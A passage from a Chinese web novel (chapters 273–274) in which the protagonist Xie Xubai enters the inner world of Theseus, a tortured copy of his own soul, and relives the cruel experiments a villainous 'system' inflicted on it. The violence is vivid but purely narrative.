怒火被消磨,杀念被平复,变得无力憔悴。 ——这才说得通。 忒修斯偏头,见谢叙白没搭他的话茬,不怒反笑,身体随着神经质的笑声“咯咯咯”地抖动起来。 他又问出最开始的问题:“你知道这里是什么地方吗?” 死一般的寂静中,谢叙白和忒修斯对视。 刚才他不确定,现在大概能猜到一些。 之前提到过,谢叙白故意放松心理防线,给系统卖了一个破绽,就是在限制系统只能用精神类的招式来对付他。 系统没有选择,只能赌。 殊不知,它赌的方向也在谢叙白的限制之内。 因为精神领域是谢叙白的主场,这世间没有任何一种精神攻击方式,能威胁到他。 能挑选的范围小之又小。 而且系统是个机械脑袋,甭管它有多么熟谙人性,它能做出的一切举动,背后都需要数据支持。 在它的数据库里,有且仅有过一起、勉强能算是成功制服谢叙白的案例。 现在,那个案例就坐在谢叙白的面前,双眼无神、满脸讥笑地看着他。 第273章 光暗(下) 谢叙白前世死亡时,系统趁机从他的灵魂碎片中提取出完整的人格数据,以此为基础,复刻出一个崭新的灵魂,几乎拥有谢叙白的一切特性。 系统毫不犹豫地将其作为试验样本,投入到惨无人道的情景实验里,借此研究解决谢叙白的办法。 然而该灵魂秉承了本体的坚韧不屈,受尽折磨也没有一丝一毫的妥协。 眼看着制服无望,系统不肯罢休,开始无所不用其极。 既然被风霜打磨后的人格成熟稳重、坚不可摧,那就从软弱无力的幼年时期下手! 既然亲朋好友是他信仰的源泉,那就抹除记忆,让他自小备受欺凌,无依无靠,感受全世界的恶意! …… 系统打造出一个无法逃离的【楚门的世界】,而忒修斯就是被投入其中、任由搓圆捏扁的小白鼠。 年龄身世,社会关系,成长经历,乃至于基因血脉。 在那反反复复,数不清的“修正”后,原本的灵魂终于被改得面目全非。 他没有谢叙白的坚韧意志,更遑论对世界的热爱。残忍歹毒,满腔仇恨。在没有尽头的痛苦和折磨中,最终屈服于系统的强权,也有了新的代号——忒修斯。 尽管在忒修斯的基因被篡改后,他和谢叙白就是完完全全的两个人了,但在系统的数据库里,他依旧是被制服的“成功案例”。 就在两人视线对峙时,昏暗岑寂的室内,从上往下,从左往右,紧贴着墙壁,毫无征兆地掠过几道血红的流光。 当发现谢叙白似乎没有注意到这里的动向,这几道流光顷刻间加快速度,数量几百倍骤增,连绵成片,纵横交织,血色流星雨一样将两人包围得密不透风。 下一秒咔嚓一声,宛若锁链绷紧时迸出一道惊耳的脆响,成片的流光乍停,城墙般巍然耸立。 那像是一层封闭,给人非常不祥的预感,传散的力量波动刺激得两人心头一震。 但完全不给谢叙白两人击破封闭的机会,成型的屏障飞快后退,眨眼间隐于无边黑暗。 从发生到结束,不过两秒的时间。 室内再次恢复死寂,头顶的灯散着微弱黯淡的光,玻璃幕墙倒映出两人朦胧的身影,岑寂,空旷,仿佛刚才的景象只是幻觉。 但两人能明显感觉得到,进出这个空间的“通道”被切断了。 很显然,他们被困在了这里——躯壳“弥赛亚”的内部。 系统会趁机作祟,在忒修斯的意料之中。 不知道是为了恶心谢叙白,还是单纯懒得处理,他还顶着那张被自己亲手撕烂的脸。 当他看向谢叙白,发现对方依旧神色不变,面部肌肉当即狠狠地抽搐了一下,血肉模糊的脸在愤恨的渲染下,更加狰狞,张口是要吃人的语气。 “你一点都不惊讶,对,这一切都是你设计的,你怎么可能惊讶?” “你故意放宽意识海的精神防线,引导系统只能用精神攻击对付你。系统那个蠢货把我当成你的成功样本,必然偏向于用制服我的手段来解决你。” “你很清楚那是什么手段,甚至猜到了那是精神类的攻击,更猜到系统会在【弥赛亚】的躯壳内设下对应的限制来控制我。” “你是不是还在庆幸地想,本来很愁怎么从我这儿得到解除封闭的密钥,现在可好了,瞌睡来了有人送枕头!那个蠢货直接把现成的招数送到你的面前! 为了防止我中途脱困,甚至放任系统将我们关押在这里。你可真是大义凛然奋不顾身啊谢叙白,谁能比得过你?!” 早在谢叙白攻破系统的核心数据库,而系统还在照常运行的瞬间,忒修斯就反应过来,谢叙白该死地居然想要利用系统来对付他! 他想起之前破开系统的控制,精疲力竭佯装昏迷,谢叙白有机会趁虚而入,却没有这么做,他还忍不住讥讽地骂了谢叙白几句“圣人”。 现在看来,哪儿是这人善良正直,根本是那时候谢叙白没有一击得手的把握,所以才按捺不动! 就在这时,谢叙白视线余光捕捉到旁边的镜墙里面有人影出现,反射性箭步后撤。 没有攻击或陷阱,只是镜墙从内朝外爆出惨白的亮光。像是有人突然打开了展厅300瓦的聚光灯,经过玻璃折射后格外刺眼。 这种程度的光亮,常人一时间难以适应,但对近神体质的谢叙白来说不算危害。 他短暂眯了下眼睛,便适应过来。 直至看清楚镜墙对面的景象,谢叙白的瞳孔微微凝缩。 谢叙白过去经常出入实验室,为谢裴二人打下手。出于计划的保密协议和分内职责,某些重要实验他也必须在场监督。 所以他对这个房间的构造并不陌生。 一整面单向透视镜、镜子里完全被封闭的空间、加固的防护装置。 ——这是一间观察室。 忒修斯能眼也不眨地撕掉自己的脸,宁肯毁掉大半个意识海也要搅碎系统打下的操控印记,谢叙白不认为忒修斯会因为物理伤痛而屈服。 联想到忒修斯在提起被系统“修正”实验时,情绪激动到难以控制,谢叙白顺势推测出,那就是忒修斯的命门。 谢叙白是轮回者,他清楚地知道,经历过那么多场实验,忒修斯的记忆应该处于一种非常混乱的状态。 无关紧要的记忆会被冲刷过滤,而能在第一时间清晰地吐露出来的,必定是相当深刻的伤痛。 【一开始,系统原封不动照搬你的数据,想让你自己对付自己。可是不行啊!你的性子太烈了,宁愿自毁都不肯沦落为系统的爪牙,系统就只能在原来的数据上做一点小小的更改……】 【真的是一小点!不过是把你关在虚拟模拟室里,让你动弹不得,亲眼看到曾经的亲朋好友遭受酷刑,你恨不得那些烧红的烙铁啊、钢针啊,嗡嗡响的钢锯啊,通通往你身上招呼。好几次你都差点要崩溃了,可是不知道为什么你又坚持了下来——你为什么要坚持?啊?!】 所以谢叙白提前做好了心理准备。 可当看清里面的情况,他的心脏还是不可避免地狠揪了一下。 观察室里,到处都是溅射开的血迹。 地上有带刺的棍棒、有沾血的石块,钢铁打造的刑具反射出瘆人的冷光,尖刺、刀片上挂着剐蹭下来的淋淋碎肉,还在滴血。 受刑者的背影很熟悉,是他认识的人。 将要认出那人是谁时,谢叙白的眼皮一颤,下意识避开了视线。 神色暗沉的忒修斯瞬间快活起来,兴奋地大喊:“你怕了!你不敢看!谢叙白啊谢叙白,原来你也会受不了啊!” 像一只郁郁不得志,跻身在昏暗阴沟里的老鼠,嫉恨着阳光下所有活得光辉卓绝的人。 直至发现那些看似伟岸的人物,其实并没有自己想象中那么幸福完美,他们也痛苦,也脆弱,也不堪一击。 老鼠简直要开心得炸开了锅。 忒修斯当即从地上爬起来,伸长脖子冲向谢叙白。 谢叙白一惊,快步后退,他接踵跟上,死死地、堪称贪婪地盯着谢叙白的表情细节,一丝一毫都不肯放过,亢奋得连呼吸都变得粗重了起来:“你看啊!你为什么不看?你不是要找密钥吗?你不怕错过什么细节线索吗?他们在那里痛苦地受着折磨,你怎么好意思逃避!你对得起他们吗?” “看啊谢叙白!你快看啊!” 不知道是哪句话触动了谢叙白,他突然停下脚步,闪电般丢出金色光索。 忒修斯反应不及被捆在原地,乍然僵住。 再一抬头,只见谢叙白站在原地,眼睛没在他身上停留,再次朝观察室看了过去。 忒修斯叫嚣着让谢叙白去看,主要是为了刺激他。 其实就算不看,也能知道观察室内是什么境况。 因为动静是挡不住的。 棍棒一下下捣肉的闷响,骨骼折断的声音,伴随亲友们凄厉的惨叫声,宛若致命的风暴,朝着谢叙白劈头盖脸地砸了过来。 亲眼目睹所爱之人痛苦挣扎、到濒死、到绝望咽气,这个过程漫长到令人窒息,并且没有尽头,里面的人会复活重来。 谢叙白看见了【谢语春】。 没有亲身经历忒修斯说的实验前,他以为是系统构造出了足够以假乱真的幻象。 但看见后才知道不一样。 系统既然能够提取他的灵魂数据,自然也能提取其他玩家的。 即使复刻出来的灵魂不是本体,也拥有和本体别无二致的特性。 谢叙白继续看着观察室里的【谢语春】。 头发干脆利落地扎起来,洁白的实验服沾满泥土和血液,胸口戴着铭牌,挂着一支黑笔,眼角细纹密布…… 通过这些细节,谢叙白甚至能大概估摸出,被复刻出来的,是前期的谢语春。 因为那时候正值几大派系林立,叛徒频出,内讧不断,闹得不可开交,即使是体质加强后的谢语春,也硬生生被累出黑眼圈和白头发。 焦虑像是疮疤,终日刻在了高层的脸上。 直至后来生死存亡之际,几大领袖抛开成见,达成协议,以强势手段镇压住那些不安分的声音,这种情况才渐渐好转。 难道他看见的这些细节,能够被简单地称为幻象吗? 恰是这时,【谢语春】头顶的天花板突然打开,里面传开嗡嗡的震响,巨大的齿轮露出,擦到钢板迸出滋啦的火花。 那是高速运转的电锯,正下方就是面朝上、无法动弹的【谢语春】。 谢叙白意识到什么,飞快地朝【谢语春】看了过去,想寻找有没有什么能解救对方的办法。 谁知道【谢语春】竟然也在看他,谢叙白一低头,就和她的视线对在了一起。 镜子是单向的,以免亲友为谢叙白打气。 但【谢语春】却好似能看见他。 电锯继续往下移动,动静很大,蜂鸣般充斥室内,整个天花板都在颤抖。 它移动的速度并不快,仿佛要受刑者慢慢体验死亡降临的恐惧。 女人突然张开了嘴,说:“谢叙白,转过去,用精神力封闭视听。” 刹那间,谢叙白仿佛听到一声撕心裂肺的嘶吼,从胸腔震响,脱口而出,满嘴都是血腥味。 他仿佛能感受到自己被束缚在架子上,拼了命地挣扎,脚踹地面,锁链哗啦啦作响,勒得皮肉皲裂。 某一瞬间,似乎是系统的失误,锁链松开,他挣脱了!而钢锯离【谢语春】还有一段距离! 他顾不上被锁链绊倒,手脚并用地扑了过去,用拳头嘭嘭狠砸镜墙最脆弱的对角。 一下!两下!三下!…… 直至两只手皮开肉绽,嘭的一声,镜子玻璃终于裂开了! 他来不及高兴,继续朝着碎裂的地方狠砸,玻璃渣扎进肉里,痛得他手指生理性痉挛,可他不敢停。 一下下狠砸,终于让裂缝越来越大,越来越大……越来越大! 可是为什么,为什么就是不破?! 最痛苦的事,莫过于让人看见希望,又将它打破。 等他意识到这是系统折磨人的圈套时,大半个玻璃墙都被他砸开裂缝,蛛网般密密麻麻,他双手捶打玻璃墙,鲜血淋漓,滴在满是泪水的脸上。 碎开的玻璃模糊视野,但在系统的安排下,他仍旧能够“看”清楚里面的细节。 只隔着一面镜墙,只有三米的距离。 他能看见【谢语春】为了不刺激他,闭上眼睛一声不吭,连呼吸都很平稳。 直至钢锯嗡嗡迫近,声响震入耳内,【谢语春】终于像是无法忽略似的,手指扣在地板上,小小地攥紧了一下。 他看见了。 再然后,唰的一下,钢锯坠落。 “谢叙白——” 谢叙白猛然回神,大汗淋漓,不知不觉中衣服已经湿透。 观察室里剩下一具毫无声息的尸体,他猛地抬腿想去查看情况,却被忒修斯用力地抓住手腕。 “你看见了吧?啊?你看见了吧!是不是很难受?很痛苦?” 手臂一阵刺痛,忒修斯的指甲扣进了他的肉里。 谢叙白用来束缚忒修斯的光索还在,在后者的身上勒出血痕。 忒修斯像是感受不到,瞳孔瞪大,眼白里血丝密布。 好像迫不及待要看谢叙白痛不欲生,他的眼神比刚才还要瘆亮,咧开嘴笑开了花。 谢叙白顿住。 他如忒修斯所愿的,痛苦地换了口气,咽下胃里翻涌后顶到喉咙口的酸水。 然后闭上眼睛,调整呼吸。 忒修斯眼珠子几乎要瞪出来,嘴角也越咧越开,却陡然发现,谢叙白的呼吸逐渐平稳了下来。 再睁眼时,谢叙白恢复了那副平静淡然的模样。 他看向对面的死尸,面上虽有哀色愤怒,却没有崩溃绝望。 忒修斯一僵。 为什么? 他想不通。 在他的记忆里,就算谢叙白最后抗住了压力,那也是在好几轮近乎疯狂之后。 难道说谢叙白现在就能抗住……不可能,不可能! 忒修斯狰狞的脸颊肌肉疯狂抖动,仿佛受到影响,观察室里的场景也飞快变化。 无数令人毛骨悚然的动静传了过来,无数熟悉的嗓音发出惨叫。 谢叙白仍旧没有太大的反应。 忒修斯怀疑他封闭了视听,但感受不到对应的精神力波动。 随着时间的流逝,忒修斯再也绷不住了,表情从期待到茫然,再到不敢置信,最终歇斯底里。 “你不认识他们了吗?他们不是假人!” “为什么你没有反应?你感受不到他们的痛苦和恐惧了吗?你对他们的爱都是假的吗?” “如果不是因为你,他们根本不用遭这罪,你就是一切的罪魁祸首!” “谢叙白!!” 谢叙白终于将视线从镜墙移过来,看向怒吼的忒修斯。 和佝偻的忒修斯不同,他站得笔直,但并非情绪毫无波澜,而是多年的岁月切、磋,风霜琢、磨,让他即使穷途末路也会挺直腰背。 这一边光线黯淡,另一边的处刑室却很亮。 光从玻璃投射而来,照在谢叙白瘦削的脸上,苍白到看不出血色。 一滩血溅射在玻璃上,对应着谢叙白眼角的位置,睫毛垂下,模模糊糊的,像是血没从伤口流干净,又从眼睛里掉了下来。 一瞬间,忒修斯怔住了。 他忽然反应过来,自己是狼狈得像条丧家犬,但谢叙白也比他好不到哪儿去。 高强度闯关、撕裂灵魂炼化棋子、冒死攻入系统核心数据库。 为了破开系统的防御,谢叙白甚至毫不犹豫地献祭了分魂,那对灵魂可是实打实的损伤。 控制住系统后,谢叙白来不及喘口气,紧跟着又把他拉入“弥赛亚”的内部。 可就是被逼到这种份上了,他依旧挺拔,坚不可摧。 “……你看不见吗,那些惨状?你坚持到现在不累吗?你明明也会痛苦,为什么就不会崩溃呢?” 忒修斯看着谢叙白的脸,瞳孔颤抖着,神色逐渐灰败下去。 “啊啊啊啊啊啊啊!” 观察室再度传来惨叫,宛若白日惊雷。 谢叙白立时看了过去,下一秒感觉忒修斯抓住自己的手一颤,继而一松。 忒修斯像是软掉的面条,扑通一下滑跪到地上。 他能感受到谢叙白在看着他,那视线是毒辣的、蜇人的,仿佛有实质性的重量,压在他的身上。 像抽掉脊梁骨,忒修斯的腰背完全弯了下去,额头抵住地板,蜷缩成团。 最后慢慢地、慢慢地,用颤抖的双手捂住了耳朵。 昏暗狭窄的观察室,瘆亮的灯光,各种刑具加身的动静,没有尽头的惨叫,拼死也救不下的人,人偶般被控制的人生。 【你知道这里是什么地方吗?】 这是他的内心世界,是他永远逃不掉的地狱。 如果忒修斯是系统,他会毫不犹豫地拉着七十七亿人一起下地狱。 除去想报复谢叙白,让谢叙白余生都活在救不了人的悔恨中,更因为实验表明谢叙白根本不可战胜,再怎么折腾都是枉然。 但系统不是他,就算有报复的想法,也是生存排在首位。 谢叙白究竟什么时候计划这一切的呢。 是在和第二使徒碰面,知道弥赛亚是系统安排的躯壳时? 还是第五使徒为了赢取系统信任,诓骗系统:谢叙白拥有神器【永不崩溃的对抗命运之心】时? 不论是哪种,他都输得一塌糊涂。 忒修斯几乎能预见,自己将在接下来的噩梦中被折磨得精神失常,烂在尘埃里。 而谢叙白会毫无滞涩地破开他的心理防线,顺利取得密钥,最后一路讴歌,载誉而归,迎接无数人的鲜花和掌声。 观察室的行刑还在上演。 捂住耳朵是徒劳的,根本挡不住那些惨叫,因为他脑子里全都记得,死都能记得。 忒修斯张开嘴笑了起来,动作太大,似乎撕裂了脸上的伤口,滚烫的液体顺着眼角滑落,啪嗒砸在地上。 只要谢叙白仔细一点,死后将自己灵魂彻底粉碎,渣也不剩。 只要谢叙白没那么坚强,在第一场实验就沦陷屈服。 那么他根本就不会“诞生”。 他恨谢叙白。 第274章 不屈(上) 谢叙白低头看着忒修斯,半张脸垂入阴影,模糊了神情。 这里是忒修斯的内心世界,虽然在系统的干预下,忒修斯无法完全操控它,但也是在对方的主场上,暴露内心有被反将一军的风险。 何况,这一幕本就是他计划的结果。 随着忒修斯濒临崩溃,整个空间开始分崩离析。地面晃动,天花板灯光闪烁不断。咔嚓一声,镜墙轰然碎开,溅落一地! 黑红色线条爆发着浓烈恨意,从忒修斯的身上泛起,形如张牙舞爪的触须,扭曲着、翻涌着,朝谢叙白汹涌蔓延。 谢叙白迅速抬手,掌心绽放出抵御攻击的金光,唰一下将触须冲得四分五裂! 正是这时,破碎的镜墙后面忽然传来一股不同寻常的能量波动。 谢叙白警觉扭头。 只见观察室的尸体快速抖动,化作越来越多的黑红色能量线条,在半空中漩涡般汇聚。 本以为是什么杀招,岂料线条散去,呈现在谢叙白眼前的,竟然是一颗圆润饱满的……黑棋? 谢叙白一怔。 像无意触碰到一段尘封的过往影像,观察室内的景象飞速倒退,一张张惨死的面容重新出现。 黑红色线条沸腾,如熊熊燃烧的火焰,那些尸体被困在小小的观察室内,也在这火焰中消融溃散。 尸体不断消失,黑棋不断出现,一颗两颗三颗……眨眼便挤满半个观察室! 谢叙白第一次和忒修斯见面交锋,苍白月色下,后者扬起手,身后浮现出数以万计的黑棋。 枉死的灵魂被困缚黑棋内部,狰狞的人脸凸显出来,双眼泣血,拼命挣扎,在忒修斯猖狂的笑声中发出凄厉的惨叫。 那场面宛若人间炼狱。 谢叙白还记得自己质问忒修斯的话,如今依旧回荡耳畔。 【你的那些棋子,是不是都由活人炼化而来?】 【当然。】 【你练的?】 【差不多吧。】 画面一转,忒修斯不甘的嘶吼再度在谢叙白耳边响起,疯疯癫癫,狼狈崩溃。 “你为什么没有反应?如果不是因为你,他们根本不用遭这罪!” ——如果不是因为我,他们根本不会死! 谢叙白突然感到一阵难言的心悸。 他用力按住胸口,反应过来,是刚才被拉入忒修斯的记忆映射时,与残存的意识碎片产生了精神共振。 这些残念来源于最初那道崭新的灵魂,因为和谢叙白一比一复刻,思维几乎是统一的,所以谢叙白容易受到影响。 但不需要特别处理。 在忒修斯精神力的疯狂肆虐下,本就模糊的意识残片,眨眼间涣散到几乎透明。 要不了多久,他们就会和忒修斯崩坏的精神世界一起消亡。 谢叙白沉默着,抿紧嘴唇,忽然又睁开,伸出另一只手,掌心悬着朦胧的金光。 不同于右手金光的凌厉肃杀,这抹金光散着温暖的热意,在阴影中宛如一抹摇曳的灯火。 谢叙白往上一抬,光芒瞬间荡开,铺洒昏暗的观察室,照进他眸光潋滟的眼底,漾开一片沉静祥和的气息。 “能听见吗?”他问。 没有反应,谢叙白就又问了几遍,直至空气传来细微的意识波动。 跪坐在镜墙前的影子微微抬起头,和谢叙白对上眼,满是茫然。 他的双手垂在腿边,鲜血淋漓,满是玻璃渣的肌肉仍旧抽搐个不停。 精神共振是双向的。 既然这些残念能影响到谢叙白,反过来,谢叙白也能通过精神链接,与他们交流。 即使虚影什么都没说,看不清具体面容,谢叙白也能想象到一双遍布红血丝的眼睛呆滞地睁着,泪水顺着脸颊无声滑落,充满绝望和无能为力。 谢叙白走过去,蹲下身,与虚影视线齐平,认真地注视着他,一字一顿:“你看见的那一幕幕,现在只是系统模拟出来的情景,但是,一旦你选择崩溃屈服,它们必定会发生。” 他坚决地强调道:“绝不能退。” “系统是程序化思维,一个方案没用,它就会更改为下一个方案。只要变化就有机可乘,总有被你抓到破绽的一天。” “你必须熬到那个时候。” 虚影僵硬半晌,终于转头,重新看向观察室,指尖还带着颤。 亲友受尽折磨,屈辱惨死。 那是他恐惧的一切,所以他更要看清楚,看仔细。 ——因为那也是他必须扛过去的理由。 柔和的金光倾洒而下,虚影轻轻发出一声沉痛的叹息,气息逐渐平稳,神色重回坚定,仿佛在对谢叙白传达共同的信念:你也是。 末了,他化作光点消散,留下一室寂静。 谢叙白收回金光,突然感觉有一道尖锐幽深的视线在背后盯着自己。 他回头,只见忒修斯四肢着地,散乱的头发挡住脸,看不见是什么表情。 空间依旧不稳定,地动山摇,碎石淅淅沥沥往下掉,但暴走发狂的黑红色线条却逐渐平静了下来。 对忒修斯而言,那些残念可谓是腐烂流脓的陈年疮疤。谢叙白化解残念,何尝不是间接地给忒修斯清创剜腐,卸掉负累。 忒修斯半天才喘匀了气,在谢叙白的注视下,灰白的唇皮颤了又颤,似乎有什么话想说,却咽了下去。 没等谢叙白仔细辨析出他的情绪,眼前的场景猝然变化。 逼仄昏暗的观察室不见了,取而代之的是一条深夜下的马路。 两边店铺早早关了门,路灯将地面照得惨白透亮,苍蝇围着垃圾桶嗡嗡乱飞,显得阴森僻静。 正如谢叙白所预料的那样,也正如历史所发生的那样,当初系统发现折磨复刻出来的亲友灵魂,并不能逼“他”就范以后,立马改变了策略。 它在忒修斯身上进行的实验有无数场,分多个阶段,而刚才只是第一阶段。 那么第二阶段会是什么? 嘭! 谢叙白身侧突然传来剧烈的斗殴声。 一个清瘦的青年从黑暗中摔了出来,重重地砸在地上,痛得闷哼。 这名青年反应很快,几乎是刚落地,便撑着身体爬了起来。 惨白的月光投射而下,谢叙白看清了对方的长相——忒修斯! 准确来说,是没有毁容前的忒修斯。 像是照镜子般。 谢叙白凝视这张和他一模一样的脸。 忒修斯瞳孔凝缩,似乎很慌张。头发乱了,满是尘土。身体遍布大小不一的伤,脸颊带着红肿的拳印。 最触目惊心的是眼睛下三寸的位置,横贯着一条鲜红的刀口,还淌着血。 刹那间一段陌生的记忆猛然涌入谢叙白的脑海。 他仿佛看见自己被一群混混围堵在巷子里,可身体莫名虚弱,没多久就被人抓住,被按在地上拳打脚踢。 有人拽着他的头发,逼他抬头,为首一人掏出刀,蹲在他的面前,阴森地笑着问:“你很为自己的这张脸得意,对吧?” 刀锋反射出冰冷的银光,朝着他的脸刺下来,他心脏一紧猛然挣扎,爆发出前所未有的力气,贴着刀口撞开人冲了出去。 结果刚冲出去没多久,就被人用棍子砸到后脑勺,眼前一黑摔在地上。 还没完全爬起来,追出来的人又一脚踩在他的脑袋上。 痛。 肋骨断了一根,手肘扭伤,背部撕裂,胸口颤痛,喉咙满是腥甜血气。 但比起疼痛,他心里更多的是茫然,是慌张。 他艰难地看向空旷无人的大马路,期望有什么可以带来转机,却只等到身后传来殷勤的一句:“老大,这家伙老是想跑,干脆……” “打断他的腿吧。” 谢叙白猛然回神,正看见小混混拎起棍子砸向忒修斯的腿,挥出簌簌疾风。 这一刻,记忆与现实交错,虚幻与真实纠葛。 谢叙白仿佛能听见耳边咔嚓一声,腿骨传来撕心裂肺的剧痛。 他眼皮一颤,条件反射地抬起手,金光蜂拥而出,将拿棍棒的人和后面几个追上来的混混一把掀飞,捆在地上。 哐啷几声响,混混们手里的棍子、刀具纷纷掉在地上。 就在谢叙白出手的一瞬间,没等他做出后续反应,地上的忒修斯骤然起身,宛如一阵飓风,擦过谢叙白的肩膀,捡起地上的刀,狠狠地扎进了为首那人的心口! 谢叙白目光一凝,快速挥出金光。 这一击没留力,如果忒修斯想保住自己,就必须后退。 谁知道忒修斯根本不避! 忒修斯迎着金光,被扎穿胸口,攥着刀反手一挥,气浪劈出,将面前的几个小混混削成无数份,尸块嘭嘭砸地,血液如瀑布喷洒! 同一时刻,黑红色精神力暴涨,如火舌舔舐上那些尸块。 灵魂被残忍炙烤,传出尖锐的惨叫,尸块在黑红火焰里,变成了一颗颗淌血的黑棋! 谢叙白几乎心跳骤停。 他眼神一厉,金光凝成重拳,将忒修斯用力地掼在地上。 嘭的一声,地砖砸出蛛网般的裂痕。 忒修斯皮肉开裂,痛得大声惨叫,抬头对上谢叙白愤怒冰冷的眼神,又好似得意地笑起来:“谢叙白,时至今日,你不会妄想我还有良知这种可笑的东西吧?” “说起来我还要感谢你,这个阶段的我被系统限制能力,只能反反复复地被人欺辱到死。我一直都想杀了他们,如果不是你刚才出手助我突破限制,我也没法成功复仇,你功不可没啊谢叙白!” 这时,谢叙白终于通过残留的意识波动,接收到了实验第二阶段完整的记忆。 系统实验的这一阶段,堪称杀人诛心。 它模拟出一个无限游戏胜利后的世界,将在第一阶段饱受精神摧残的【谢叙白】丢了进去。 他是在精神病院的病床上醒来的,脑子浑浑噩噩,根本分不清是现实还是系统安排的另一场实验。 加上本次模拟实验的设定中,大部分被解救的普通人,都没留下无限游戏里的记忆。 他追问那些事件,毫无疑问被当成了疯病加重的征兆,日常要吃的药量翻倍,如果敢反抗,就会被注射镇定剂。 他的体力受到严重限制,精神力也用不出来,又变成了当初那个手无缚鸡之力的普通人。 就这样被关了大半年,他才顺利逃脱,并且还要多亏他很快冷静下来,等到护士松懈的时机,找到精神病院安保的漏洞。 出来后他没有犹豫,立即联系曾经的亲友。 长达半年的“正常”生活,虽然是在精神病院度过的,可对他来说,没有死亡,没有病痛,没有无休止的战斗,已经是为数不多的安逸和清闲。 走在阳光普照的大街上,看着人来人往,嬉笑不断,大妈跳着广场舞,孩子拽着父母的手嚷嚷着要买玩具,他蓦然有种恍若隔世的感觉,不知不觉间,心情也随之放松。 很快他就和【裴玉衡】见了面。 他不明白。 重逢时,听到他消息的【裴玉衡】,几乎是手脚并用地跑出来,一看见他就双眼通红,潸然泪下,踉跄地冲上来抱住他,失去往日的沉稳,哽咽地说:“我们还以为你死了……” 对方身上那浓烈的激动和哀伤,绝对不是演戏,【裴玉衡】还记得他。 可为什么对方会在带着他体检的几小时后,毫不犹豫地杀了他? 剧痛中他低下头,看着【裴玉衡】的手臂穿胸而过,张嘴吐出一大口鲜血。 他不敢置信地扭头,对上【裴玉衡】心若死灰的眼睛,里面再没有看见他时失而复得的喜悦。 “如果你真的还活着,那该有多好……” 他不知道系统给他安排了一份“大礼”。 普通人不记得游戏,认不出他,但在存活下来的玩家眼里,他的脑袋上始终顶着一个硕大的半透明标记,写着“谢叙白”的名字。 可在“谢叙白”的名字后面,还清晰地加上了一行字。 【谢叙白(复制体)001】 他再次醒来,在死亡的惊魂失魄中,明白了这是系统的奸计。 可是他也分不清了,这里到底是幻象?是副本?还是真实的世界? 毕竟他所看见的人们都那样鲜活。 复制体的消息传开后,他在胜利后的世界遭到了疯狂的追杀。 爱戴和信任他的人,怀疑这是系统安排的诡计,他们也不允许一个莫名其妙的复制体,来玷污本尊的名声。 仇恨他和对他看不顺眼的人,单纯想要落井下石,比如那些小混混。 觊觎他能力的人,想要榨干他的价值,发现他变成普通人后,当即嫌弃地转手卖给那些要抓他的人。 每一次死亡,他都会在一个全然陌生的地方复活,然后被发现,周而复始地重复着被杀的厄运。 听得最多的话,就是—— “系统以为制造出来的复制体可以蛊惑我们,但你根本就不像他”。 记忆戛然而止,谢叙白浑身冷汗直冒,一阵犯恶心,胃里翻江倒海,酸液上涌。 强烈的负面情绪施加在他的身上,他几乎要吐出来。 忒修斯被他摁着,见状笑得更开心了:“谢叙白,我很好奇,你在被他们杀死的时候,真的能毫无怨怼?能忍住不对那些所谓的亲朋好友产生恨意?” 谢叙白没有说话,掐住颤抖的指尖,努力调整自己的状态。 忒修斯死死地盯着谢叙白。 一旦情绪起伏过剧,谢叙白的眼睛就不再波澜不惊,他喜欢对方的这种模样,要有挣扎,要有痛苦,要有疯狂! 可还是和以往任何时候一样。 里面什么情绪都有了,唯独看不见动摇。 忒修斯脑子里仿佛有根弦倏然绷断,他用力揪住谢叙白的衣领,双眼猩红,眼球突出,含恨地说:“谢叙白,我不像你,没那么大度!这些人,有一个算一个,我要他们生不如死!” 轰的一声,黑红色线条朝外荡开,形如刀剑组成的飓风,瞬间将树木楼房拦腰切断。 空气中残存的意识碎片更是被轰成了齑粉! 谢叙白蓦然抬头。 那些残念是忒修斯无法排解的精神创伤,更是他意识的一部分。 如果能得到有效治愈,未必没有被救赎的可能。 可是现在,他们居然被忒修斯亲手斩断。 意识残片受损,忒修斯哇的一声,吐出大口鲜血,捂着胸口咳得撕心裂肺。 他的瞳孔涣散,呈现痴呆的征兆,显然精神受到了不可逆的重创。 谢叙白当机立断续起金光,往忒修斯的眉心按。 忒修斯猛然回神,目光发狠,死死捏住他的手腕。 忒修斯并不意外谢叙白会在这个档口入侵他的意识核心。 虽然不曾说出口,但他们的这位圣人,可是把拯救世界的希望连带着那七十七亿条人命,都抗在了自己的肩上。 谢叙白不顾精神崩溃的风险,进入他的内心世界,由始至终,只是为了那一个目的:找到破除系统屏障的密钥。他绝对不会放过任何机会。 可与此同时,忒修斯发现那抹金光中竟然不止带着入侵的锐利,还有治愈的能量。 到了现在……谢叙白居然还想着治疗他? 忒修斯瞳孔发颤。 这一刻,他比谢叙白准备用系统设计他,还要难以接受。 “既然你那么喜欢卖弄自己的善良,好啊!好!我让你卖个够!” 瞬间,场景再次变化。 …… 忒修斯又一次遵循着实验的轨迹被人捉住。 系统在设计实验时,也在一步步丰富实验的真实性和逻辑。 它没有制造莫名其妙的矛盾和仇恨,没有改变玩家的性格,而是巧妙地挑唆起人们心中潜在的猜忌,无限放大。 玩家们在设定中亲眼见证了本尊的死亡,别说怀念、善待什么的了,对他只有恨和杀念。 这里面还有一点是致命的,那就是忒修斯本质上就是复制体。 系统的阴谋是真的,他无从为自己辩解。 可是这样一来,他在第一阶段实验里的苦守……又是为了什么呢? 审判场内,喊打喊杀的声音如雷轰鸣,忒修斯在看守的羁押下抬起头。 环顾四周,无数张脸愤恨地看着他,有认识的,有不认识的,忒修斯都没理。 他一个劲儿地凝视谢叙白,扬唇笑得阴暗,仿佛在期待一场好戏。 情景再现时,忒修斯的能力会受到和当初一样的限制。 但,只要谢叙白插手干预,打破这层限制,他就能大开杀戒,把所有人炼成黑棋。 按照谢叙白的处事标准,这个阶段的他不仅算不上恶人,甚至算得上功臣,不能蒙受这样的欺辱和冤屈。 但其他玩家是被系统蒙蔽了双眼,哪怕是那些落井下石的小人,也罪不至死。 所以谢叙白要怎么办呢? 救下他,让他杀了其他人。 还是冷眼旁观,让尚且无辜的他去死? 气氛紧张一触即发,刹那间,谢叙白动了,身体快若闪电,将羁押忒修斯的那些人掀飞。 忒修斯浑身一松,几乎要仰天大笑。 他知道谢叙白还是抛不开那些所谓的仁义道德,所以作为回报,他一定会杀…… 呃? 忒修斯瞪大眼睛,低头看着捆住自己的金光。 黑红色精神力来不及作祟,只是冒个头,就被金光硬生生塞了回去。 众人暴怒,可没一个人挨到谢叙白的边儿,只是一眨眼,视野一黑,就被谢叙白游刃有余地打晕丢开,那举手投足间爆发出惊人的力量,令所有人震惊,不敢妄动。 谢叙白没有多余的解释:“我会将他带走,你们忧虑的事情不会发生。” 